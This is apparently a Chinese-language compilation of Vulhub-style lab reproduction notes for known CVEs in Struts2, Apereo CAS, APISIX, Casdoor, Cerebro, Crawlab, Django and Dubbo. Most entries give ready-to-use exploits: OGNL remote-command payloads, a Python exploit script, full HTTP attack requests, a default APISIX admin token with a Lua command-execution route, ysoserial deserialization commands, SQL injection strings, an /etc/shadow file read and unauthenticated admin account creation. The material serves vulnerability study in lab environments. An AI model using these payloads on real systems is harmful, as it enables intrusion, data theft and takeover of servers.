        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

以上数据包成功执行的话,会在docker容器内创建文件/tmp/success,执行docker compose exec struts2 ls /tmp/即可看到。

此外,我们还可以下载一个jspx的webshell:

还有一些更简单的利用方法,就不在此赘述了。

漏洞修复

struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
    if (invocation.getAction() instanceof ModelDriven) {
        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
    }
    stream.addPermission(NullPermission.NULL);
    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
    stream.addPermission(ArrayTypePermission.ARRAYS);
    stream.addPermission(CollectionTypePermission.COLLECTIONS);
    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}

但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。

s2-053

S2-053 远程代码执行漏洞

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

漏洞详情:

测试环境搭建

docker compose up -d

环境运行后,访问http://your-ip:8080/hello.action即可看到一个提交页面。

漏洞复现

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

输入如下Payload即可成功执行命令:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

说明:有的同学说无法复现漏洞,经过我的测试,我发现上述Payload末尾的换行不能掉(也就是说payload后面必须跟一个换行,虽然我也不知道为什么),再发送即可成功。

s2-057

Struts2 S2-057 远程命令执行漏洞(CVE-2018-11776)

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16

漏洞详情:

漏洞环境

启动满足条件的 Struts 2.3.34 环境:

docker compose up -d

环境启动后,访问http://your-ip:8080/showcase/,将可以看到Struts2的测试页面。

漏洞复现

测试OGNL表达式${233*233}

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可见233*233的结果已返回在Location头中。

使用S2-057原理分析与复现过程(POC)中给出的执行任意命令的OGNL表达式:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

可见,id命令已成功执行:

image-20240805151158083

s2-059

Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

影响版本: Struts 2.0.0 - Struts 2.5.20

参考链接:

漏洞环境

启动 Struts 2.5.16环境:

docker compose up -d

启动环境之后访问http://your-ip:8080/?id=1 就可以看到测试界面

漏洞复现

访问 http://your-ip:8080/?id=%25%7B233*233%7D,可以发现233*233的结果被解析到了id属性中:

1.png

OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc,利用这个poc可以达到执行系统命令。

通过如下Python脚本复现漏洞:

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

执行poc之后,进入容器发现touch /tmp/success已成功执行。

image-20240805151227354

s2-061

Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。

参考链接:

漏洞环境

执行如下命令启动一个Struts2 2.5.25版本环境:

docker compose up -d

环境启动后,访问http://target-ip:8080/index.action查看到首页。

漏洞复现

发送如下数据包,即可执行id命令:

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

可见,id命令返回结果将直接显示在页面中:

image-20240805151256927

s2-062

远程代码执行漏洞 CVE-2021-31805

漏洞描述

该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。

漏洞影响

Struts 2.0.0 - Struts 2.5.29

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-061
docker-compose up -d

漏洞复现

主页面

img

发送请求包

POST /index.action HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

image-20240813090135818

apereo-cas

4.1-rce

Apereo CAS 4.1 反序列化命令执行漏洞

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

参考链接:

环境搭建

执行如下命令启动一个Apereo CAS 4.1.5:

docker compose up -d

环境启动后,访问http://your-ip:8080/cas/login即可查看到登录页面。

漏洞复现

漏洞原理实际上是Webflow中使用了默认密钥changeit

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

我们使用Apereo-CAS-Attack来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

然后我们登录CAS并抓包,将Body中的execution值替换成上面生成的Payload发送:

POST /cas/login HTTP/1.1
Host: your-ip
Content-Length: 2287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
Connection: close

username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

登录Apereo CAS,可见touch /tmp/success已成功执行:

image-20240805153739478

apisix

CVE-2020-13945

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

参考链接:

漏洞环境

执行如下命令启动一个Apache APISIX 2.11.0(这个漏洞并没有且应该不会被官方修复,所以到最新版仍然存在):

docker compose up -d

环境启动后,访问http://your-ip:9080即可查看到默认的404页面。

漏洞复现

利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

http://your-ip:9080/attack?cmd=id

image-20240805170325591

CVE-2021-45232

Apache APISIX Dashboard API权限绕过导致RCE(CVE-2021-45232)

Apache APISIX是一个动态、实时、高性能API网关,而Apache APISIX Dashboard是一个配套的前端面板。

Apache APISIX Dashboard 2.10.1版本前存在两个API/apisix/admin/migrate/export/apisix/admin/migrate/import,他们没有经过droplet框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。

参考链接:

漏洞环境

执行如下命令启动一个有漏洞的Apache APISIX Dashboard 2.9:

docker compose up -d

然后访问http://your-ip:9000/即可看到Apache APISIX Dashboard的登录页面。

漏洞复现

利用/apisix/admin/migrate/export/apisix/admin/migrate/import两个Apache APISIX Dashboard提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含我们构造的LUA脚本:

注意的是,这个配置文件的最后4个字符是当前文件的CRC校验码,所以最好通过自动化工具来生成和发送这个利用数据包,比如这个POC

添加完恶意路由后,你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是,Apache APISIX和Apache APISIX Dashboard是两个不同的服务,Apache APISIX Dashboard只是一个管理页面,而添加的路由是位于Apache APISIX中,所以需要找到Apache APISIX监听的端口或域名。

在当前环境下,Apache APISIX监听在9080端口下。我们发送数据包:

GET /okw1Rh HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0

可见,我们在Header中添加的CMD头中的命令已被执行。

这个漏洞是Apache APISIX Dashboard的漏洞,而Apache APISIX无需配置IP白名单或管理API,只要二者连通同一个etcd即可。

Casbin

Casbin get-users 账号密码泄漏漏洞

漏洞描述

Casbin get-users api接口存在账号密码泄漏漏洞,攻击者通过漏洞可以获取用户敏感信息

漏洞影响

Casbin

网络测绘

title=”Casdoor”

漏洞复现

登录页面

img

验证POC

/api/get-users?p=123&pageSize=123

img

CVE-2022-24124

Casdoor get-organizations SQL注入漏洞

漏洞描述

Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台,简单点说,就是 Casdoor 可以帮你解决 用户管理 的难题,你无需开发用户登录注册等与用户鉴权相关的一系列功能,只需几个步骤,简单配置,与你的主应用配合,便可完全托管你的用户模块,简单省心,功能强大。

漏洞影响

Casdoor

网络测绘

“Casdoor”

漏洞复现

登录页面

img

验证POC

/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)

image-20240811102258689

Cerebro

Cerebro request SSRF漏洞

漏洞描述

Cerebro是使用Scala、Play Framework、AngularJS和Bootstrap构建的开源的基于Elasticsearch Web可视化管理工具。您可以通过Cerebro对集群进行web可视化管理,如执行rest请求、修改Elasticsearch配置、监控实时的磁盘,集群负载,内存使用率等。其中某功能存在SSRF漏洞,攻击者通过发送特定的请求包可以探测内网信息

漏洞影响

Cerebro

网络测绘

app=”Cerebro”

漏洞复现

主页面

img

发送请求包

POST /rest/request

{"method":"GET","data":"","path":"robots.txt","host":"https://www.baidu.com"}

image-20240811102447412

Crowlab

Crawlab file 任意文件读取漏洞

漏洞描述

Crawlab 后台 /api/file接口 存在任意文件读取漏洞,攻击者通过漏洞就可以读取服务器中的任意文件

漏洞影响

Crawlab v0.0.1

网络测绘

title=”Crawlab”

漏洞复现

登录页面

img

首先查看路由位置 main.go 文件 中的 file 接口对应的函数

img

package routes

import (
	"crawlab/utils"
	"github.com/gin-gonic/gin"
	"io/ioutil"
	"net/http"
)

// @Summary Get file
// @Description Get file
// @Tags file
// @Produce json
// @Param Authorization header string true "Authorization token"
// @Success 200 json string Response
// @Failure 400 json string Response
// @Router /file [get]
func GetFile(c *gin.Context) {
	path := c.Query("path")
	fileBytes, err := ioutil.ReadFile(path)
	if err != nil {
		HandleError(http.StatusInternalServerError, c, err)
	}
	c.JSON(http.StatusOK, Response{
		Status:  "ok",
		Message: "success",
		Data:    utils.BytesToString(fileBytes),
	})
}

img

接口调用为后台才可调用,通过任意用户添加可以完成绕过

path参数可控,发送Get请求读取任意文件

GET /api/file?path=../../etc/shadow HTTP/1.1
Host: 
Content-Length: 0
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYwZGQxOWU0YmZjNzg3MDAxZDk1NjBjOSIsIm5iZiI6MTYzOTMwNTI2MiwidXNlcm5hbWUiOiJhZG1pbiJ9.mFRAwXN-QqTmFmPAxgFEJhVXwxVuxJMepHe4khADfgk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: Hm_lvt_c35e3a563a06caee2524902c81975add=1639222117,1639278935; Hm_lpvt_c35e3a563a06caee2524902c81975add=1639278935
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

image-20240811103114556

Crawlab users 任意用户添加漏洞

漏洞描述

Crawlab users 的 api 存在任意用户添加,且添加为未授权接口,可通过添加后在后台进一步攻击

漏洞影响

Crawlab v0.0.1

网络测绘

title=”Crawlab”

漏洞复现

登录页面

img

首先查看路由位置 main.go 文件

img

anonymousGrou 中为匿名可调用方法
authGroup	  中为认证可调用方法

可以看到 Putuser方法为添加用户,但存在匿名调用

img

根据字段生成添加用户的请求

PUT /api/users HTTP/1.1
Host: 
Content-Length: 83
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: Hm_lvt_c35e3a563a06caee2524902c81975add=1639222117,1639278935; Hm_lpvt_c35e3a563a06caee2524902c81975add=1639278935
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

{"username":"testppp","password":"testppp","role":"admin","email":"testppp@qq.com"}

img

image-20240811103159084

django

CVE-2017-12794

Django debug page XSS漏洞(CVE-2017-12794)分析

Django发布了新版本1.11.5,修复了500页面中可能存在的一个XSS漏洞,这篇文章说明一下该漏洞的原理和复现,和我的一点点评。

0x01 补丁分析

因为官方说明是500页面中出现的BUG,所以我们重点关注的就是django/views/debug.py

Github上有Django的仓库,下载下来,用1.11.4和1.11.5进行比较:

git clone https://github.com/django/django.git
cd django
git diff 1.11.4 1.11.5 django/views/debug.py

sp170908_035017

可见,外部关闭了全局转义,然后在这两个地方增加了强制转义。那么,漏洞肯定是在这个位置触发的。

0x02 功能点探索

如果要触发这两个输出点,就必须进入这个if语句:{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}

首先我们来想一下,正常情况下,这个位置是干嘛用的,也就是说,功能点是什么。

作为一个老年Django开发,看到上图画框的这个关键句子The above exception was the direct cause of the following exception:,我是有印象的:一般是在出现数据库异常的时候,会抛出这样的错误语句。

我们可以做个简单的测试,在Django命令行下,我们创建一个username为phith0n的用户,然后再次创建一个username为phith0n的用户,则会抛出一个IntegrityError异常:

sp170908_040738

见上图,原因是触发了数据库的Unique异常。

为什么Django会引入这样一个异常机制?这是为了方便开发者进行SQL错误的调试,因为Django的模型最终是操作数据库,数据库中具体出现什么错误,是Django无法100%预测的。那么,为了方便开发者快速找到是哪个操作触发了数据库异常,就需要将这两个异常回溯栈关联到一块。

我们可以看看代码,django/db/utils.py__exit__函数:

def __exit__(self, exc_type, exc_value, traceback):
    if exc_type is None:
        return
    for dj_exc_type in (
            DataError,
            OperationalError,
            IntegrityError,
            InternalError,
            ProgrammingError,
            NotSupportedError,
            DatabaseError,
            InterfaceError,
            Error,
    ):
        db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
        if issubclass(exc_type, db_exc_type):
            dj_exc_value = dj_exc_type(*exc_value.args)
            dj_exc_value.__cause__ = exc_value
            if not hasattr(exc_value, '__traceback__'):
                exc_value.__traceback__ = traceback
            # Only set the 'errors_occurred' flag for errors that may make
            # the connection unusable.
            if dj_exc_type not in (DataError, IntegrityError):
                self.wrapper.errors_occurred = True
            six.reraise(dj_exc_type, dj_exc_value, traceback)

其中exc_type是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error之一,则抛出一个同类型的新异常,并设置其__cause____traceback__为此时上下文的exc_valuetraceback

exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。

最后,在500页面中,__cause__被输出。

0x03 漏洞复现

经过我的测试,我发现在使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于0x02中说到的,这个字符串其实就会被设置成__cause__,最后被显示在页面中。

所以我们假设有如下场景:

  1. 用户注册页面,未检查用户名
  2. 注册一个用户名为<script>alert(1)</script>的用户
  3. 再次注册一个用户名为<script>alert(1)</script>的用户
  4. 触发duplicate key异常,导致XSS漏洞

我将上述流程整理成vulhub的一个环境:https://github.com/phith0n/vulhub/tree/master/django/CVE-2017-12794

编译及启动环境:

docker compose up -d

访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户,成功;再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>,触发异常:

sp170908_055317

可见,Postgres抛出的异常为

duplicate key value violates unique constraint "xss_user_username_key"
DETAIL:  Key (username)=(<script>alert(1)</script>) already exists.

这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。

CVE-2018-14574

Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)

Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddlewareAPPEND_SLASH来决定)。

在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。

该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。

漏洞环境

运行如下环境编译及运行一个基于django 2.0.7的网站:

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:8000即可查看网站首页。

漏洞复现

访问http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/

image-20240805144951699

CVE-2019-14234

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。

参考链接:

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。

漏洞环境

执行如下命令编译及启动一个存在漏洞的Django 2.2.3:

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:8000即可看到Django默认首页。

漏洞复现

首先登陆后台http://your-ip:8000/admin/,用户名密码为admina123123123

登陆后台后,进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/

然后在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可见,单引号已注入成功,SQL语句报错:

image-20240805145021898

CVE-2020-9402

Django GIS SQL注入漏洞(CVE-2020-9402)

Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。

参考链接:

该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。

漏洞环境

执行如下命令编译及启动一个存在漏洞的Django 3.0.3:

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:8000即可看到Django默认首页。

漏洞复现

漏洞一

首先访问http://your-ip:8000/vuln/

在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

可见,括号已注入成功,SQL语句查询报错:

漏洞二

访问http://your-ip:8000/vuln2/
在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--

image-20240805145106939

CVE-2021-35042

Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞

参考链接:

该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。

漏洞环境

执行如下命令编译及启动一个存在漏洞的Django 3.2.4:

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:8000即可看到Django默认首页。

漏洞复现

访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:

http://your-ip:8000/vuln/?order=-id

再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collectionvuln应用下的模型Collection

http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

成功注入SQL语句,利用堆叠注入获得信息:

image-20240805145135591

CVE-2022-34265

Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)

中文版本(Chinese version)

Django在2022年7月4日发布了安全更新,修复了在数据库函数Trunc()Extract()中存在的SQL注入漏洞。

参考链接:

漏洞环境

启动一个Django 4.0.5版本的服务器:

docker compose up -d

环境启动后,你可以在http://your-ip:8000看到一个页面。这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://your-ip:8000/?date=minute即可看到按照分钟聚合的点击量:

漏洞复现

修改date参数即可复现SQL注入漏洞:

http://your-ip:8000/?date=xxxx'xxxx

image-20240805145200961

dubbo

CVE-2019-17564

Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。

在Spring文档中,对HttpInvokerServiceExporter有如下描述,并不建议使用:

WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.

这个漏洞影响Apache Dubbo 2.7.4及以前版本,2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter

参考链接:

漏洞环境

执行如下命令启动一个Apache Dubbo 2.7.3 Provider:

docker compose up -d

服务启动后,访问http://your-ip:8080,服务器默认会返回500错误。

漏洞复现

利用该漏洞需要先知道目标RPC接口名,而Dubbo所有的RPC配置储存在registry中,通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞,那么就可以在其中找到接口的名称与地址。

Vulhub对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,我们本地下载Zookeeper,使用其中自带的zkCli即可连接到这台Zookeeper服务器:

./zkCli -server target-ip:2181

连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置:

获取到RPC接口名为org.vulhub.api.CalcService。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://your-ip:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService

